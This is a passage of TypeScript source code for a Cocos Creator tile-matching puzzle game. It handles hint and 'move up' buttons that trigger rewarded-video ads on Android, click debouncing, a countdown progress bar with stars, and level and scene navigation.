  802. console.log('lichao: 播放广告1')
  803. setTimeout(() => {
  804. console.log('lichao: 播放广告2')
  805. console.log('lichao: AAJS2.getPlacementID() --> ', AAJS2.getPlacementID())
  806. console.log('lichao: ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID()) 的值--> ',
  807. ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID()))
  808. if (ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID())) {
  809. cc.sys.localStorage.setItem("customerOption", "auto");
  810. ATRewardedVideoSDK.showAd(AAJS2.getPlacementID());
  811. console.log('lichao: 播放广告3')
  812. } else {
  813. console.log('lichao: 播放广告4');
  814. this.hint_ad_player_icon.active = false
  815. global_model.game.hint_tip_counter++
  816. global_model.save()
  817. this.updateItemView()
  818. }
  819. }, 300)
  820. } else {
  821. global_model.game.hint_tip_counter++
  822. this.hint_ad_player_icon.active = false
  823. global_model.save()
  824. this.updateItemView()
  825. }
  826. if (this.lock) return
  827. // console.log('数量不足,弹出购买')
  828. // this.lock = true
  829. }
  830. }
  831. click_moveup() {
  832. //this.playSFX(this.btn_click)
  833. if (this.recordList.length < 3) {
  834. // MsgHints.show('至少有3个才能一起推上去')
  835. // MsgHints.show('No operation record!')
  836. // 防抖代码
  837. // 定义一个时间戳变量来记录上一次点击时间
  838. if (!this.lastClickTime) {
  839. this.lastClickTime = 0;
  840. }
  841. // 获取当前时间戳
  842. var currentTime = Date.now();
  843. // 判断当前点击距离上一次点击时间的间隔是否小于2秒
  844. if (currentTime - this.lastClickTime < 2000) {
  845. console.log('lichao: 点击过于频繁,防抖中');
  846. // 防抖,阻止当前点击事件
  847. return;
  848. }
  849. console.log('lichao:防抖成功')
  850. // 更新上一次点击时间为当前时间
  851. this.lastClickTime = currentTime;
  852. if (global_model.game.move_up_counter === 0) {
  853. if (cc.sys.os === cc.sys.OS_ANDROID) {
  854. console.log('lichao: 播放广告1')
  855. setTimeout(() => {
  856. console.log('lichao: 播放广告2')
  857. console.log('lichao: AAJS2.getPlacementID() --> ', AAJS2.getPlacementID())
  858. if (ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID())) {
  859. cc.sys.localStorage.setItem("customerOption", "clearTopThree");
  860. ATRewardedVideoSDK.showAd(AAJS2.getPlacementID());
  861. console.log('lichao: 播放广告3')
  862. } else {
  863. console.log('lichao: 播放广告4');
  864. this.moveup_ad_player_icon.active = false
  865. global_model.game.move_up_counter++
  866. global_model.save()
  867. this.updateItemView()
  868. }
  869. }, 300)
  870. } else {
  871. this.moveup_ad_player_icon.active = false
  872. global_model.game.move_up_counter++
  873. global_model.save()
  874. this.updateItemView()
  875. }
  876. }
  877. return
  878. }
  879. if (global_model.game.move_up_counter > 1) {
  880. global_model.game.move_up_counter--
  881. global_model.save()
  882. this.updateItemView()
  883. //放三个 块上去最左边的三个块放上去
  884. this.moveup3_elements()
  885. this.moveup_ad_player_icon.active = false
  886. } else if (global_model.game.move_up_counter === 1) {
  887. global_model.game.move_up_counter--
  888. global_model.save()
  889. this.updateItemView()
  890. //放三个 块上去最左边的三个块放上去
  891. this.moveup3_elements()
  892. // 广告播放图标
  893. this.moveup_ad_player_icon.active = true
  894. } else {
  895. // 防抖代码
  896. // 定义一个时间戳变量来记录上一次点击时间
  897. if (!this.lastClickTime) {
  898. this.lastClickTime = 0;
  899. }
  900. // 获取当前时间戳
  901. var currentTime = Date.now();
  902. // 判断当前点击距离上一次点击时间的间隔是否小于2秒
  903. if (currentTime - this.lastClickTime < 2000) {
  904. console.log('lichao: 点击过于频繁,防抖中');
  905. // 防抖,阻止当前点击事件
  906. return;
  907. }
  908. console.log('lichao:防抖成功')
  909. // 更新上一次点击时间为当前时间
  910. this.lastClickTime = currentTime;
  911. if (cc.sys.os === cc.sys.OS_ANDROID) {
  912. console.log('lichao: 播放广告1')
  913. setTimeout(() => {
  914. console.log('lichao: 播放广告2')
  915. console.log('lichao: AAJS2.getPlacementID() --> ', AAJS2.getPlacementID())
  916. if (ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID())) {
  917. cc.sys.localStorage.setItem("customerOption", "clearTopThree");
  918. ATRewardedVideoSDK.showAd(AAJS2.getPlacementID());
  919. console.log('lichao: 播放广告3')
  920. } else {
  921. console.log('lichao: 播放广告4');
  922. this.moveup_ad_player_icon.active = false
  923. global_model.game.move_up_counter++
  924. global_model.save()
  925. this.updateItemView()
  926. }
  927. }, 300)
  928. } else {
  929. this.moveup_ad_player_icon.active = false
  930. global_model.game.move_up_counter++
  931. global_model.save()
  932. this.updateItemView()
  933. }
  934. if (this.lock) return
  935. // console.log('数量不足,弹出购买')
  936. // this.lock = true
  937. }
  938. }
  939. moveup3_elements() {
  940. let pos1 = game_helpers.convetOtherNodeSpaceAR(this.targetNode, this.tileContainer)
  941. for (let index = 0; index < 3; index++) {
  942. if (this.matchList.length > 0) {
  943. let tile = this.matchList.shift()
  944. // let offset = cc.v2(tile.layer * TILE_WIDTH*0.5, -tile.layer * TILE_HEIGHT*0.5)
  945. // let pos = this.getTilePos(tile.row, tile.col, offset)
  946. let targetX = pos1.x - TILE_WIDTH + index * TILE_WIDTH
  947. let targetY = pos1.y + 130
  948. this.minZindex++
  949. let pos = cc.v3(targetX, targetY, 0)
  950. tile.node.zIndex = this.minZindex//固定一下 直接压着
  951. // console.log('-------zindex',cc.macro.MAX_ZINDEX)
  952. // game_helpers.removeElementFromArray(tile, this.matchList)
  953. game_helpers.removeElementFromArray(tile, this.recordList)
  954. this.tileList.push(tile)
  955. cc.tween(tile.node).to(0.25, { position: pos }, { easing: 'sineOut' }).call(() => {
  956. }).start()
  957. }
  958. }
  959. let self = this
  960. setTimeout(() => {
  961. self.check_All_Block(true)
  962. self.moveToRightPos()
  963. }, 250);
  964. }
  965. click_help() {
  966. // game_core.win.open(GameConst.winPath.HelpWin)
  967. }
  968. updateItemView() {
  969. this.txt_hint.string = global_model.game.hint_tip_counter == 0 ? '0' : global_model.game.hint_tip_counter + ''
  970. this.txt_shuffle.string = global_model.game.shuffle_counter == 0 ? '0' : global_model.game.shuffle_counter + ''
  971. this.txt_undo.string = global_model.game.undo_counter == 0 ? '0' : global_model.game.undo_counter + ''
  972. this.txt_put3.string = global_model.game.move_up_counter == 0 ? '0' : global_model.game.move_up_counter + ''
  973. }
  974. close(): void {
  975. // super.close()
  976. }
  977. panelDataUpdate(data: any): void {
  978. this.game_reinit()
  979. }
  980. updateProgress(offset: number) {
  981. this.node_progress.progress += offset
  982. if (this.node_progress.progress <= 0) {
  983. this.node_progress.progress = 0
  984. this.lock = true
  985. this.result_view.active = true
  986. this.result_view_win.active = false
  987. this.result_view_lose.active = true
  988. }
  989. else if (this.node_progress.progress > 1)
  990. this.node_progress.progress = 1
  991. this.node_star1.active = this.node_progress.progress >= 0.1
  992. this.node_star2.active = this.node_progress.progress >= 0.5
  993. this.node_star3.active = this.node_progress.progress >= 0.8
  994. }
  995. update(dt: number): void {
  996. if (this.lock) return
  997. if (this.countDown) {
  998. this.updateProgress(-dt * this.progress_levelBase)
  999. }
  1000. }
  1001. go_home() {
  1002. //this.playSFX(this.btn_click)
  1003. cc.director.loadScene("game_home")
  1004. }
  1005. go_nextLv() {
  1006. //this.playSFX(this.btn_click)
  1007. if (global_model.game.selectedLevel < 100) {
  1008. global_model.game.selectedLevel++
  1009. } else {
  1010. global_model.game.selectedLevel = 1
  1011. }
  1012. // global_model.game.selectedLevel++
  1013. this.result_view.active = false
  1014. this.game_reinit()
  1015. }
  1016. go_game_reinit() {
  1017. //this.playSFX(this.btn_click)
  1018. this.result_view.active = false
  1019. this.game_reinit()
  1020. }
  1021. hideshow_settingView() {
  1022. // this.playSFX(this.btn_click)
  1023. }
  1024. toggleMusic(evt: cc.Toggle) {
  1025. // global_model.game.music_flag=evt.isChecked?1:0
  1026. global_model.save()
  1027. }
  1028. toggleSFX(evt: cc.Toggle) {
  1029. //this.playSFX(this.btn_click)
  1030. // global_model.game.sfx_flag=evt.isChecked?1:0
  1031. global_model.save()
  1032. }
  1033. hideshow_LevelView() {
  1034. //this.playSFX(this.btn_click)
  1035. this.levels_view.active = !this.levels_view.active
  1036. }
  1037. openFbToshare() {
  1038. cc.sys.openURL("fb://")
  1039. }
  1040. }